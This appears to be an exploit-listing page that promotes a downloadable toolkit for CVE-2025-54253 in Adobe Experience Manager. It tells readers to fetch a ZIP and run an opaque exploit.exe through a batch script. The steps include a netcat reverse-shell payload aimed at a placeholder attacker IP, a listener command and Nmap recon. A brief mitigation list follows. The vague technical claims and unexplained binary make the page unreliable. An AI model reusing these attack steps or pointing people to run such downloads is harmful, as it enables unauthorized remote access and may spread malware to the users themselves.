Exploit for Incorrect Authorization in Adobe Experience_Manager_Forms CVE-2025-54253

## https://sploitus.com/exploit?id=279E9667-56A5-585D-9A84-65BEED448EB4
# Lab: CVE-2025-54253 - Incorrect Authorization in Adobe Experience Manager
## Download
## Download Lab ZIP : [https://github.com/netmatthew3771/CVE-2025-54253/releases/download/Release/cve-2025-54253-exploit.zip]
## 🚀 Overview

CVE-2025-54253 is a critical vulnerability in Adobe Experience Manager (AEM) versions 6.5.23 and earlier (CWE-863: Incorrect Authorization). It allows unauthenticated remote attackers to bypass ACLs via a race condition in token validation, enabling RCE through crafted payloads in content repository endpoints.

Impact: Compromises confidentiality, integrity, and availability (CVSS 10.0). Risks include malware deployment, data exfiltration, and network pivoting, especially in European enterprises under GDPR.

## 📋 Prerequisites

- Command-line knowledge (bash/PowerShell).
- Windows host for .exe/.bat.
- Optional: Wireshark/tcpdump for analysis.

## Download & Install

1. Download exploit-toolkit.zip: [Download]([https://github.com/netmatthew3771/CVE-2025-54253/releases/download/Release/cve-2025-54253-exploit.zip]). Contains:
   - `exploit.exe`: Main RCE executor.
   - `start-exploit.bat`: Launcher script.

   Unzip to a directory.

## 🛠 Quick Start

1. Unzip the toolkit.

2. Run `start-exploit.bat` in the directory.
   ```
   @echo off
   echo Starting AEM Exploit...
   exploit.exe --target http://vulnerable-aem-host:4502 --payload reverse-shell.json --log output.log
   pause
   ```

## 🔍 Detailed Setup Instructions

### Scripts Directory

Focus on ZIP contents for this setup.

## 💥 Exploitation Steps

1. **Recon**: Scan with Nmap:
   ```
   nmap -p 4502 -sV target-host
   ```
   Verify AEM service.

2. **Payload Prep**: Create JSON (e.g., `{"command": "nc -e /bin/sh attacker_ip 4444"}`).

3. **Execute**: Run .bat; sends POST to `/content/repository`. Listen: `nc -lvp 4444`.

4. **Verify**: Check target for executed commands.

## 🛡️ Mitigation

1. **Patch**: Upgrade to AEM 6.5.24+ via Adobe updates.

2. **Hardening**: Set `authorize="true"` in `conf/security.xml`; add rate limiting with NGINX.

3. **Controls**: WAF rule:
   ```
   SecRule ARGS "@contains exec" "deny,log,status:403"
   ```

4. **Monitoring**: Use SIEM for access alerts.

5. **Best Practices**: Least privilege, audits, MFA.